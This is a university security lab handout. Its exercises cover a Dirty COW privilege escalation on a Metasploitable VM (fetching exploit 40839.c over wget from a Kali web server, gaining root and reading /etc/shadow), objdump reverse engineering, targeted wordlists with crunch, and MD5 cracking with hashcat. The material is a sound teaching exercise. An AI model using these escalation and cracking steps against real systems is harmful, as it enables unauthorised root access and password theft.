This material is copyrighted. It must not be distributed without permission from Joonsang Baek

Lab 9

Dirty COW attack, Reverse Engineering, Using Crunch, Using Python hashlib, Using Hashcat

1. Performing a Dirty COW attack

   In this task, we exploit the Dirty COW vulnerability in Meta 2. Start Kali and Meta2 VMs and make sure they are in the same NatNetwork.

   Note that this attack will permanently damage Meta2, clone your Meta2 to do this task.

   Log in Meta2 as `msfadmin`. Check the kernel version of the Meta2 VM: `uname -a`. You will see the Linux kernel version is 2.6.24, one of the Linux kernel known to be vulnerable to Dirty COW. Now, create a user with no root privilege (i.e. regular user) on Meta2: `sudo useradd -s /bin/bash -m alice` and `sudo passwd alice` (enter and set up some password for the user `alice`.) logout (from `msfadmin`). Log in again with username `alice` and its password.

   On Kali, type `searchsploit linux kernel 2.6.24`. Can you locate "Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE | linux/local/40839.c" among the results? We will use 40839.c.

   First, copy 40839.c from exploitdb to the web service directory to deliver to Meta2: `sudo cp /usr/share/exploitdb/exploits/linux/local/40839.c /var/www/html` Then, start web server: `sudo service apache2 start`

   On Meta2 VM (loged in as the regular user alice), run the following command: `wget http://<kali IP>/40839.c` After you download it, run the following command to compile it: `gcc -pthread 40839.c -o kernelexploit -lcrypt`

   Then run the kernelexploit program: `./kernelexploit`

   When you are prompted to enter a password, enter your own (anything easy to remember.) Then wait until the message "`Done! Check /etc/passwd to see if the new user was created.`" (Warning: it will take a while.) Then switch to the newly created user with root privileges: `su firefart`. Can you see shadow file? Try `cat /etc/shadow`.

2. Reverse engineering using `objdump`

   Log in to your Kali VM.

This material is copyrighted. It must not be distributed without permission from Joonsang Baek

Now, make a directory with any name in your home directory. In the directory, create the following file `test.c` using your favourite editor:

```
#include <stdio.h>

int main(){
        return 1;
}
```

Compile `test.c` using gcc on terminal: `gcc test.c -o test`

Note that the "`o`" option will turn the output of the program into an executable file called "`test`", which is a binary file. To run the test executable file, type `./test` on terminal. The program outputs nothing, but the main function returns the integer value 1.

Now, suppose we are given the executable file "`test`" only (not the source file). How can we know what it does? On terminal, type

```
objdump -d test
```

Depending on whether you are using Windows PC (AMD64 architecture) or Mac (ARM64 architecture) as a host machine, you will have different (but essentially the same) result.

<u>Mac Host</u>
A lot of data will be displayed on the screen. (Much of them are related to setting up variables and etc.) However, what we are concerned about is the following <main> function section:

```
0000000000000768 <main>:
 768:   52800020        mov     w0, #0x1                // #1
 76c:   d65f03c0        ret
```

The meaning of the locations 768 and 76c in this code is as follows: 768: `mov w0, #0x01`. This assigns the value 1 to the register `w0`, which will be return by line 76c. That is, both lines represent "return 1" in the code.

<u>Windows Host</u>
A lot of data will be displayed on the screen. (Much of them are related to setting up variables and etc.) However, what we are concerned about is the following <main> function section:

```
0000000000001129 <main>:
   1129:   55                      push   %rbp
   112a:   48 89 e5                mov    %rsp,%rbp
   112d:   b8 01 00 00 00          mov    $0x1,%eax
   1132:   5d                      pop    %rbp
   1133:   c3                      ret
```

This material is copyrighted. It must not be distributed without permission from Joonsang Baek

The meaning of the locations 112d and 1133 in this code is as follows: 768: `mov $0x01, %eax`. This assigns the value 1 to the register `%eax`, which will be returned by line 1133. That is, both lines represent "return 1" in the code.

(The line numbers will all be different from machine to machine!)

Now, do the following:

a) Change the return value `1` to `10`. Then, compile the new code and create a new executable file. Run `objdump` on it (with `d` option). How has <main> in assembly code changed?

b) Create another file called `test2.c` and type the following:

```
#include <stdio.h>

int main(){
    int a=12, b=3;
    int c;
    c= a+b;
    printf("%d", c);
    return 1;
}
```

Then, compile the new code and create a new executable file, for example by running `gcc test2.c -o test2`. Run `objdump` on it (with `d` option). Can you find where the integers values `12` and `3` are located?

3. Make your own dictionary for password cracking using crunch

Although hackers use available password dictionaries, they sometime create their own using a tool like *crunch*.

The basic syntax for crunch is

```
crunch [min len] [max len] [character set][options]
(for displaying on the screen)
crunch [min len] [max len] [character set][options]
-o file (for outputting as a file)
```

On Kali Terminal, type `crunch 3 3 abc` and run `crunch 3 3 abcd` (Did you get the idea how crunch works?) It will generate all possible words with repetitions (such as `bbb`) using characters `a`, `b` and `c`.

```
$crunch 3 5 0123456789 -o numword.lst
```

This will create all the possible words of length 3 to 5, all of which consist of numbers between `0` and `9`.
The file size will be big – nearly 650 kB. If you want to use special characters, use backward slash. For example, `\&`, `\*`, `\%` and etc.

One of the useful options is `-t`. You can specify a pattern you're searching. Suppose that someone uses a password of eight characters and his

This material is copyrighted. It must not be distributed without permission from Joonsang Baek

birthday is `0829`. An attacker might want to try all the possible combinations ending with 0829. In this case, we can run

```
$crunch 8 8 -t @@%^0829 -o birthday.txt
```

Here,

@ is a wildcard for lowercase alphabetical characters
, is a wildcard for uppercase alphabetical characters
% is a wildcard for numeric and ^ is for special characters.

4. Calculating hash using Python hashlib

There are a few different ways to calculate hashes in Python. In this example, we will use the `hashlib` module (https://docs.python.org/3/library/hashlib.html) Create a file called `hashtest.py` that contains the following code to perform hashing.

```
import hashlib

hash = hashlib.sha1(b'abcdef').hexdigest()
print(hash)
```

In the above code, `b'abcdef'` means the byte representation of the string `'abcdef'`. Converting the string to byte stream is necessary as the sha1 function in `hashlib` takes byte as input.
Save the code as hash.py and compile using python3. What is the result?

Note that in the `hashlib` module, `sha1()`, `sha224()`, `sha256()`, `sha384()`, `sha512()` and `md5()` are available. Try one or two such functions. (Note that these hash functions are SHA2 hash functions. To use SHA3, type `sha3_512()`, for example.)

5. Cracking hashes using Hashcat

Hashcat is a popular tool to crack hashes. The command structure is as follows:

```
$hashcat -a 0 -m [Hash Type] -o [Output File Path] --potfile-disable [Hashes FilePath] [Dictionary File Path]
```

The `-a` option is the attack mode. 0 means dictionary (or wordlist). 1 is a combination of dictionary files. (There are other cases such as specific patterns for dictionary words, but we do not use those cases in this lab.)

It is worth noting that the potfile is a critical component of Hashcat that stores cracked hashes to prevent redundant cracking attempts. It is sometimes recommended to disable it: --potfile-disable.
The hash types used for the option `-m` are the following:

#	Algorithm name
900	MD4
0	MD5
100	SHA1

This material is copyrighted. It must not be distributed without permission from Joonsang Baek

1300	SHA2-224
1400	SHA2-256

Create a dictionary file of approximately 100 words using Crunch. Then create a file that contains a MD5 hash of one word contained in the dictionary file. Show that hashcat can output the pre-image of the hash. (In other words, show that hashcat can crack the MD5 hash.)

Try to use a dictionary of longer passwords, say, 8-digit passwords. Can you crack the password using hashcat?